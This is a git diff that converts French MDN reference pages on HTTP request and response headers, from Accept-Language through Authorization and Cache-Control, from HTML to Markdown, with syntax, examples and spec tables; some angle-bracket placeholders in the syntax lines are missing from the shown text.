+L'en-tête **`Accept-Language`** de la requête HTTP indique quelles sont les langues que le client est capable de comprendre, et quelle variante locale est préférée. En utilisant la [négociation de contenu](/fr-FR/docs/Web/HTTP/Content_negotiation), le serveur choisit alors l'une des propositions, l'utilise et informe le client de son choix par l'entête de réponse {{HTTPHeader("Content-Language")}}. Les navigateurs définissent les valeurs adéquates pour cet entête en fonction de la langue de leur interface utilisateur, et même si un utilisateur peut la changer, cela se produit rarement (et cela est vu d'un mauvais œil, dans la mesure où cela permet l'identification par empreinte numérique). -

Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'Accept-Language est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur.

+Cet en-tête est une indication destinée à être utilisée lorsque le serveur n'a aucun moyen de déterminer la langue d'une autre manière, comme une URL spécifique, qui est contrôlée par une décision explicite de l'utilisateur. Il est recommandé que le serveur ne passe jamais outre une décision explicite. Le contenu d'`Accept-Language` est souvent hors du contrôle de l'utilisateur (comme lors d'un voyage et de l'utilisation d'un cybercafé à l'étranger) ; l'utilisateur peut également vouloir visiter une page dans une langue que celle des paramètres régionaux de son interface utilisateur. -

Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête Accept-Language dans ce cas.

+Si le serveur ne peut servir aucune langue qui corresponde, il peut théoriquement renvoyer un code d'erreur {{HTTPStatus ("406")}} (Not Acceptable). Mais, pour une meilleure expérience utilisateur, cela est rarement fait et la façon de faire la plus courante est d'ignorer l'en-tête `Accept-Language` dans ce cas. - - - - - - - - - - - - - - + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple header", "CORS-safelisted request-header")}}oui
Type d'en-tête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
+ {{Glossary("Simple header", "CORS-safelisted request-header")}} + oui
-

Syntaxe

+## Syntaxe -
Accept-Language: <langue>
-Accept-Language: <locale>
-Accept-Language: *
+    Accept-Language: 
+    Accept-Language: 
+    Accept-Language: *
 
-// Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} :
-Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5
+ // Type multiples, pondérés par la syntaxe {{glossary("quality values", "valeur de qualité")}} : + Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5 -

Directives

+## Directives -
-
<langue>
-
Une langue exprimée sous la forme de 2 ou 3 caractères.
-
<locale>
-
Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un'-'. L'information supplémentaire la plus courante est la variante de pays (telle que'en-US') ou le type d'alphabet à utiliser (comme'sr-Lat'). D'autres variantes comme le type d'orthographe ('de-DE-1996') ne sont pas habituellement utilisées dans le contexte de cet en-tête.
-
*
-
Toute langue ; '*' est utilisé comme un joker.
-
;q= (pondération q-factor)
-
Une quantité numérique donnant un ordre de préférence et qui utilise une valeur de qualité relative, appelée poids.
-
+- `` + - : Une langue exprimée sous la forme de 2 ou 3 caractères. +- `` + - : Une balise de langue complète. En plus de la langue elle-même, elle peut contenir des informations additionnelles après un`'-'`. L'information supplémentaire la plus courante est la variante de pays (telle que`'en-US'`) ou le type d'alphabet à utiliser (comme`'sr-Lat'`). D'autres variantes comme le type d'orthographe (`'de-DE-1996'`) ne sont pas habituellement utilisées dans le contexte de cet en-tête. +- `*` + - : Toute langue ; `'*'` est utilisé comme un joker. +- `;q=` (pondération q-factor) + - : Une quantité numérique donnant un ordre de préférence et qui utilise une [valeur de qualité](/en-US/docs/Glossary/Quality_values) relative, appelée _poids_. -

Exemples

+## Exemples -
Accept-Language: de
+    Accept-Language: de
 
-Accept-Language: de-CH
+    Accept-Language: de-CH
 
-Accept-Language: en-US,en;q=0.5
-
+ Accept-Language: en-US,en;q=0.5 -

Spécifications

+## Spécifications - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Accept-Language", "5.3.5")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
+| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Accept-Language", "5.3.5")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Accept-Language")}}

+{{Compat("http.headers.Accept-Language")}} -

Voir également

+## Voir également -
    -
  • HTTP négociation de contenu
    • -
  • En-tête avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Language")}}
    • -
  • Autres en-têtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}
    • -
+- HTTP [négociation de contenu](/fr-FR/docs/Web/HTTP/Content_negotiation) +- En-tête avec le résultat de la négociation de contenu : {{HTTPHeader("Content-Language")}} +- Autres en-têtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}} diff --git a/files/fr/web/http/headers/accept/index.md b/files/fr/web/http/headers/accept/index.md index 2f27ede072..62b38864b0 100644 --- a/files/fr/web/http/headers/accept/index.md +++ b/files/fr/web/http/headers/accept/index.md @@ -8,81 +8,69 @@ tags: - Reference translation_of: Web/HTTP/Headers/Accept --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Le paramètre d'entête de requête HTTP Accept indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -(content negotiation), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css,  ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même.

+Le paramètre d'entête de requête HTTP **`Accept`** indique quels sont les types de contenu, exprimés sous la forme de types MIME, que le client sera capable d'interpréter. Par le biais de la résolution de contenu -([content negotiation](/en-US/docs/Web/HTTP/Content_negotiation)), le serveur sélectionne ensuite une proposition parmi toutes, l'utilise et informe le client de son choix avec l'entête de réponse {{HTTPHeader("Content-Type")}}. Les navigateurs fixent des valeurs adéquates pour cet entête selon le contexte où la requête a été exécutée : selon que l'utilisateur souhaite récupérer une feuille de style css,  ou qu'il souhaite récupérer une image, une vidéo ou un script, la valeur fixée pour la requête ne sera pas la même. - - - - - - - - - - - - - - + + + + + + + + + + + + + +
Type d'entête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("Simple header", "CORS-safelisted request-header")}}oui
Type d'entête{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}non
+ {{Glossary("Simple header", "CORS-safelisted request-header")}} + oui
-

Syntaxe

+## Syntaxe -
Accept: <MIME_type>/<MIME_subtype>
-Accept: <MIME_type>/*
-Accept: */*
+    Accept: /
+    Accept: /*
+    Accept: */*
 
-// Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe :
-Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
+ // Types multiples, pondérés {{glossary("quality values", "quality value")}} par la syntaxe : + Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 -

Directives

+## Directives -
-
<MIME_type>/<MIME_subtype>
-
Un type MIME unique et déterminé MIME type, comme par exemple text/html.
-
<MIME_type>/*
-
un type MIME type ne comprenant pas de sous-type. image/* prendra en charge image/png, image/svg, image/gif et tous autres types d'image.
-
*/*
-
Tout type MIME 
-
;q= (facteur de pondération q)
-
N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité (quality value) relative appelée le poids.
-
+- `/` + - : Un type MIME unique et déterminé [MIME type](/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types), comme par exemple `text/html`. +- `/*` + - : un type MIME type ne comprenant pas de sous-type. `image/*` prendra en charge `image/png`, `image/svg`, `image/gif` et tous autres types d'image. +- `*/*` + - : Tout type MIME +- `;q=` (facteur de pondération q) + - : N'importe quelle valeur utilisée est placée selon un ordre de préférence exprimé par une valeur de qualité ([quality value](/en-US/docs/Glossary/Quality_values)) relative appelée le _poids_. -

Exemples

+## Exemples -
Accept: text/html
+    Accept: text/html
 
-Accept: image/*
+    Accept: image/*
 
-Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
-
+ Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 -

Specifications

+## Specifications - - - - - - - - - - - -
SpecificationTitre
{{RFC("7231", "Accept", "5.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage
+| Specification | Titre | +| -------------------------------------------- | ------------------------------------------------------------------ | +| {{RFC("7231", "Accept", "5.3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Vocabulaire et cas d'usage | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Accept")}}

+{{Compat("http.headers.Accept")}} -

Voir aussi

+## Voir aussi -
    -
  • HTTP content negotiation
    • -
  • Entête avec le résultat de la résolution de contenu : {{HTTPHeader("Content-Type")}}
    • -
  • Autres entêtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}
    • -
+- HTTP [content negotiation](/en-US/docs/Web/HTTP/Content_negotiation) +- Entête avec le résultat de la résolution de contenu : {{HTTPHeader("Content-Type")}} +- Autres entêtes similaires : {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}} diff --git a/files/fr/web/http/headers/access-control-allow-methods/index.md b/files/fr/web/http/headers/access-control-allow-methods/index.md index 1460b08bec..03f66f0483 100644 --- a/files/fr/web/http/headers/access-control-allow-methods/index.md +++ b/files/fr/web/http/headers/access-control-allow-methods/index.md @@ -8,77 +8,57 @@ tags: - entête translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'entête de réponse Access-Control-Allow-Methods spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}).

+L'entête de réponse **`Access-Control-Allow-Methods`** spécifie les méthodes autorisées quand on accède à la ressource en réponse à une requête de pré-vérification ({{glossary("preflight request")}}). - - - - - - - - - - + + + + + + + + + +
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
Type d'entête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
-

Syntaxe

+## Syntaxe -
Access-Control-Allow-Methods: <methode>, <methode>, ...
-
+ Access-Control-Allow-Methods: , , ... -

Directives

+## Directives -
-
<methode>
-
Liste délimitée par des virgules des méthodes de requêtes HTTP autorisées.
-
+- \ + - : Liste délimitée par des virgules des [méthodes de requêtes HTTP](/en-US/docs/Web/HTTP/Methods) autorisées. -

Exemples

+## Exemples -
Access-Control-Allow-Methods: POST, GET, OPTIONS
+ Access-Control-Allow-Methods: POST, GET, OPTIONS -

Spécifications

+## Spécifications - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}{{Spec2("Fetch")}}Définition initiale
+| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------------------------------------------ | ------------------------ | ------------------- | +| {{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}} | {{Spec2("Fetch")}} | Définition initiale | + +## Compatibilité avec les navigateurs -

Compatibilité avec les navigateurs

+{{Compat("http.headers.Access-Control-Allow-Methods")}} -

{{Compat("http.headers.Access-Control-Allow-Methods")}}

+## Notes de compatibilité -

Notes de compatibilité

+- La valeur joker (\*) mentionnée dans la dernière version de la spécification n'est pas encore implémentée dans tous les navigateurs : -
    -
  • La valeur joker (*) mentionnée dans la dernière version de la spécification n'est pas encore implémentée dans tous les navigateurs : - -
    • -
+ - Chromium: [Issue 615313](https://bugs.chromium.org/p/chromium/issues/detail?id=615313) + - Firefox: {{bug(1309358)}} + - Servo: [Issue 13283](https://github.com/servo/servo/issues/13283) -

Voir aussi

+## Voir aussi -
    -
  • {{HTTPHeader("Access-Control-Allow-Origin")}}
    • -
  • {{HTTPHeader("Access-Control-Expose-Headers")}}
    • -
  • {{HTTPHeader("Access-Control-Allow-Headers")}}
    • -
  • {{HTTPHeader("Access-Control-Request-Method")}}
    • -
+- {{HTTPHeader("Access-Control-Allow-Origin")}} +- {{HTTPHeader("Access-Control-Expose-Headers")}} +- {{HTTPHeader("Access-Control-Allow-Headers")}} +- {{HTTPHeader("Access-Control-Request-Method")}} diff --git a/files/fr/web/http/headers/access-control-allow-origin/index.md b/files/fr/web/http/headers/access-control-allow-origin/index.md index 359319cc18..1e4d094efd 100644 --- a/files/fr/web/http/headers/access-control-allow-origin/index.md +++ b/files/fr/web/http/headers/access-control-allow-origin/index.md @@ -3,80 +3,64 @@ title: Access-Control-Allow-Origin slug: Web/HTTP/Headers/Access-Control-Allow-Origin translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'entête Access-Control-Allow-Origin renvoie une réponse indiquant si les ressources peuvent être partagées avec une origine donnée.

+L'entête **`Access-Control-Allow-Origin`** renvoie une réponse indiquant si les ressources peuvent être partagées avec une [origine](/fr/docs/Glossaire/Origine) donnée. - - - - - - - - - - + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
-

Syntaxe

+## Syntaxe -
Access-Control-Allow-Origin: *
-Access-Control-Allow-Origin: <origin>
-Access-Control-Allow-Origin: null
-
+ Access-Control-Allow-Origin: * + Access-Control-Allow-Origin: + Access-Control-Allow-Origin: null -

Directives

+## Directives -
-
*
-
Pour les demandes sans informations d’identification, le serveur peut spécifier « * » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource.
-
<origin>
-
Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine.
-
+- \* + - : Pour les demandes sans informations d’identification, le serveur peut spécifier « \* » comme un caractère générique, permettant ainsi à n’importe quelle origine d'accéder à la ressource. +- \ + - : Spécifie un URI qui peut accéder à la ressource. Il n'est possible de spécifier qu'une seule origine. -

Exemples

+## Exemples -

Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer :

+Pour permettre à n'importe quelle ressource d'accéder à vos ressources, vous pouvez indiquer : -
Access-Control-Allow-Origin: *
+ Access-Control-Allow-Origin: * -

Pour permettre https://developer.mozilla.org d'accéder à vos ressources, vous pouvez indiquer :

+Pour permettre `https://developer.mozilla.org` d'accéder à vos ressources, vous pouvez indiquer : -
Access-Control-Allow-Origin: https://developer.mozilla.org
+ Access-Control-Allow-Origin: https://developer.mozilla.org -

CORS et le cache

+### CORS et le cache -

Si le serveur spécifie un hôte d'origine plutôt que "*", il doit également inclure "Origin" dans l'en-tête de réponse "Vary" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête.

+Si le serveur spécifie un hôte d'origine plutôt que "\*", il doit également inclure "_Origin_" dans l'en-tête de réponse "_[Vary](/fr/docs/Web/HTTP/Headers/Vary)_" pour indiquer aux clients que les réponses du serveur seront différentes en fonction de la valeur de la demande d'origine entête. -
Access-Control-Allow-Origin: https://developer.mozilla.org
-Vary: Origin
+ Access-Control-Allow-Origin: https://developer.mozilla.org + Vary: Origin -

Caractéristiques

+## Caractéristiques - - - - - - - - - - - - - -
CaractéristiquesStatueCommentaire
{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}{{Spec2("Fetch")}}Initial definition.
+| Caractéristiques | Statue | Commentaire | +| -------------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | +| {{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}} | {{Spec2("Fetch")}} | Initial definition. | -

Compatibilité

+## Compatibilité -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+{{Compat("http.headers.Access-Control-Allow-Origin")}} -

Voir aussi

+## Voir aussi -
    -
  • {{HTTPHeader("Origin")}}
    • -
  • {{HTTPHeader("Vary")}}
    • -
+- {{HTTPHeader("Origin")}} +- {{HTTPHeader("Vary")}} diff --git a/files/fr/web/http/headers/access-control-request-headers/index.md b/files/fr/web/http/headers/access-control-request-headers/index.md index 4a181b1335..0445c92aa6 100644 --- a/files/fr/web/http/headers/access-control-request-headers/index.md +++ b/files/fr/web/http/headers/access-control-request-headers/index.md @@ -8,64 +8,48 @@ tags: - pré-vérification translation_of: Web/HTTP/Headers/Access-Control-Request-Headers --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'entête Access-Control-Request-Headers est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification.

+L'entête **`Access-Control-Request-Headers`** est utilisé quand une requête de pré-vérification ({{glossary("preflight request")}}) et faite vers le serveur pour savoir les entêtes qui seront utilisés après la pré-vérification. - - - - - - - - - - + + + + + + + + + +
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
Header type{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}yes
-

Syntaxe

+## Syntaxe -
Access-Control-Request-Headers: <header-name>, <header-name>, ...
-
+ Access-Control-Request-Headers: , , ... -

Directives

+## Directives -
-
<header-name>
-
Une liste d'entête HTTP séparé par des virgules qui sont inclus dans la requête.
-
+- \ + - : Une liste [d'entête HTTP](/en-US/docs/Web/HTTP/Headers) séparé par des virgules qui sont inclus dans la requête. -

Exemples

+## Exemples -
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ Access-Control-Request-Headers: X-PINGOTHER, Content-Type -

Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient X-PINGOTHER ou Content-type.

+Dans cet exemple le serveur en réponse à la demande de pré-vérification indiquer au demandeur de la pré-vérification que la requête suivante sera accepté si elle contient _X-PINGOTHER_ ou _Content-type_. -

Spécifications

+## Spécifications - - - - - - - - - - - - - -
SpécificationStatusCommentaire
{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}{{Spec2("Fetch")}}Initial definition.
+| Spécification | Status | Commentaire | +| ---------------------------------------------------------------------------------------------------------------------------- | ------------------------ | ------------------- | +| {{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}} | {{Spec2("Fetch")}} | Initial definition. | -

Compatibilité navigateur

+## Compatibilité navigateur -

{{Compat("http/headers/access-control-request-headers")}}

+{{Compat("http/headers/access-control-request-headers")}} -

Voir également

+## Voir également -
    -
  • {{HTTPHeader("Access-Control-Request-Method")}}
    • -
+- {{HTTPHeader("Access-Control-Request-Method")}} diff --git a/files/fr/web/http/headers/age/index.md b/files/fr/web/http/headers/age/index.md index fc78feaa3e..a455987bbd 100644 --- a/files/fr/web/http/headers/age/index.md +++ b/files/fr/web/http/headers/age/index.md @@ -3,67 +3,51 @@ title: Age slug: Web/HTTP/Headers/Age translation_of: Web/HTTP/Headers/Age --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.

+L'entête HTTP {{HTTPHeader("Age")}} indique le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy. + +Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP. -

Sa valeur est généralement proche de zéro. Elle vaut 0 lorsque la ressource vient d'être rapatriée du serveur d'origine; autrement, sa valeur équivaut à la différence entre la date courante du proxy et la valeur de l'entête {{HTTPHeader("Date")}} inclus dans la réponse HTTP.

-

 

- - - - - - - - - - + + + + + + + + + +
Type d'entêteEntête de réponse
Nom d'entête interditnon
Type d'entêteEntête de réponse
Nom d'entête interditnon
-

Syntaxe

+## Syntaxe -
Age: <valeur-en-secondes>
-
+ Age: -

Directive

+## Directive -
-
<valeur-en-secondes>
-
-

Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy.

-
-
+- \ + - : Un entier positif indiquant le temps en secondes pendant lequel la ressource a été stockée dans un cache proxy. -

Exemple

+## Exemple -
Age: 24
+ Age: 24 -

Spécifications

+## Spécifications - - - - - - - - - - - -
SpécificationTitre
{{RFC("7234", "Age", "5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+| Spécification | Titre | +| ---------------------------------------- | ----------------------------------------------- | +| {{RFC("7234", "Age", "5.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Caching | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Age")}}

+{{Compat("http.headers.Age")}} -

Voir aussi

+## Voir aussi -
    -
  • {{HTTPHeader("Cache-Control")}}
    • -
  • {{HTTPHeader("Expires")}}
    • -
+- {{HTTPHeader("Cache-Control")}} +- {{HTTPHeader("Expires")}} diff --git a/files/fr/web/http/headers/allow/index.md b/files/fr/web/http/headers/allow/index.md index e8605d2bfa..35e5badcc2 100644 --- a/files/fr/web/http/headers/allow/index.md +++ b/files/fr/web/http/headers/allow/index.md @@ -8,59 +8,45 @@ tags: - entête translation_of: Web/HTTP/Headers/Allow --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'entête Allow liste les méthodes supportées par une ressource.

+L'entête **`Allow`** liste les méthodes supportées par une ressource. -

Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} Method Not Allowed pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête Allow vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple.

+Cet entête doit être envoyée si le serveur répond avec un statut {{HTTPStatus("405")}} `Method Not Allowed` pour indiquer quelles méthodes peuvent être utilisées pour la requête. Une entête `Allow` vide indique que la ressource n'autorise aucune méthode, ce qui peut erriver temporairement pour une ressource donnée, par exemple. - - - - - - - - - - + + + + + + + + + +
Type d'entête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}non
Type d'entête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}non
-

Syntaxe

+## Syntaxe -
Allow: <methodes-http>
-
+ Allow: -

Directives

+## Directives -
-
<methodes-http>
-
La liste des méthodes de requête HTTP autorisées, séparées par des virgules.
-
+- \ + - : La liste des [méthodes de requête HTTP](/en-US/docs/Web/HTTP/Methods) autorisées, séparées par des virgules. -

Exemples

+## Exemples -
Allow: GET, POST, HEAD
+ Allow: GET, POST, HEAD -

Spécifications

+## Spécifications - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Allow", "7.4.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+| Spécification | Titre | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Allow", "7.4.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -

Voir aussi

+## Voir aussi -
    -
  • {{HTTPStatus("405")}}
    • -
  • {{HTTPHeader("Server")}}
    • -
+- {{HTTPStatus("405")}} +- {{HTTPHeader("Server")}} diff --git a/files/fr/web/http/headers/authorization/index.md b/files/fr/web/http/headers/authorization/index.md index 065c4fc78a..134d478a99 100644 --- a/files/fr/web/http/headers/authorization/index.md +++ b/files/fr/web/http/headers/authorization/index.md @@ -8,82 +8,65 @@ tags: - requête translation_of: Web/HTTP/Headers/Authorization --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête de requête HTTP Authorization contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} Unauthorized et l'en-tête {{HTTPHeader("WWW-Authenticate")}}

+L'en-tête de requête HTTP **`Authorization `**contient les identifiants permettant l'authentification d'un utilisateur auprès d'un serveur, habituellement après que le serveur ait répondu avec un statut {{HTTPStatus("401")}} `Unauthorized` et l'en-tête {{HTTPHeader("WWW-Authenticate")}} - - - - - - - - - - + + + + + + + + + +
Type d'en-tête{{Glossary("Request header")}}
Nom d'en-tête interditNon
Type d'en-tête{{Glossary("Request header")}}
+ Nom d'en-tête interdit + Non
-

Syntaxe

- -
Authorization: <type> <credentials>
- -

Directives

- -
-
<type>
-

Le type d'authentification. Le type "Basic" est souvent utilisé. Pour connaître les autres types :

- -
-
<credentials>
-

Si c'est le type d'authentification "Basic" qui est utilisé, les identifiants sont construits de la manière suivante :

-
    -
  • L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (aladdin:sesameOuvreToi).
    • -
  • Cette chaîne de caractères est ensuite encodée en base64 (YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==).
    • -
-
-

Note : L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique".

-
-
-
- -

Exemples

- -
Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
-
- -

Voir aussi l'article authentification HTTP avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique.

- -

Spécifications

- - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7235", "Authorization", "4.2")}}HTTP/1.1 : Authentification
{{RFC("7617")}}Schéma d'Authentification HTTP 'Basic'
+## Syntaxe + + Authorization: + +## Directives + +- _\_ + + - : [Le type d'authentification](/fr/docs/Web/HTTP/Authentication#Schéma_d'authentification). Le type [`"Basic"`](/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme) est souvent utilisé. Pour connaître les autres types : + + - [IANA registry of Authentication schemes](http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml) + +- _\_ + + - : Si c'est le type d'authentification `"Basic"` qui est utilisé, les identifiants sont construits de la manière suivante : + + - L'identifiant de l'utilisateur et le mot de passe sont combinés avec deux-points : (`aladdin:sesameOuvreToi`). + - Cette chaîne de caractères est ensuite encodée en [base64](/fr/docs/Web/API/WindowBase64/Décoder_encoder_en_base64) (`YWxhZGRpbjpzZXNhbWVPdXZyZVRvaQ==`). + + > **Note :** L'encodage en Base64 n'est pas un chiffrement ou un hachage ! Cette méthode est aussi peu sûre que d'envoyer les identifiants en clair (l'encodage base64 est un encodage réversible). Il faudra privilégier HTTPS lorsqu'on emploie une authentification "basique". + +## Exemples + + Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l + +Voir aussi l'article [authentification HTTP](/fr/docs/Web/HTTP/Authentication) avec des exemples de configuration de serveurs Apache ou nginx pour protéger votre site grâce à un mot de passe et l'authentification HTTP basique. + +## Spécifications + +| Spécification | Titre | +| ---------------------------------------------------- | -------------------------------------- | +| {{RFC("7235", "Authorization", "4.2")}} | HTTP/1.1 : Authentification | +| {{RFC("7617")}} | Schéma d'Authentification HTTP 'Basic' | -

Voir

+## Voir -
    -
  • L'authentification HTTP
    • -
  • {{HTTPHeader("WWW-Authenticate")}}
    • -
  • {{HTTPHeader("Proxy-Authorization")}}
    • -
  • {{HTTPHeader("Proxy-Authenticate")}}
    • -
  • {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}
    • -
+- [L'authentification HTTP](/fr/docs/Web/HTTP/Authentication) +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/fr/web/http/headers/cache-control/index.md b/files/fr/web/http/headers/cache-control/index.md index de82079b83..067322921a 100644 --- a/files/fr/web/http/headers/cache-control/index.md +++ b/files/fr/web/http/headers/cache-control/index.md @@ -9,209 +9,173 @@ tags: - Reference translation_of: Web/HTTP/Headers/Cache-Control --- -

{{HTTPSidebar}}

+{{HTTPSidebar}} -

L'en-tête HTTP Cache-Control contient des directives (ou instructions) pour la mise en cache tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse.

+L'en-tête HTTP **`Cache-Control`** contient des directives (ou instructions) pour la [mise en cache](/fr/docs/Web/HTTP/Cache) tant dans les requêtes que dans les réponses. Une directive donnée dans une requête ne signifie pas que la même directive doit se trouver dans la réponse. - - - - - - - - - - - - - - + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}non
{{Glossary("CORS-safelisted response header")}}oui
Type d'en-tête{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}non
+ {{Glossary("CORS-safelisted response header")}} + oui
-

Syntaxe

+## Syntaxe -

Pour être valables, les directives de mise en cache doivent respecter les règles suivante :

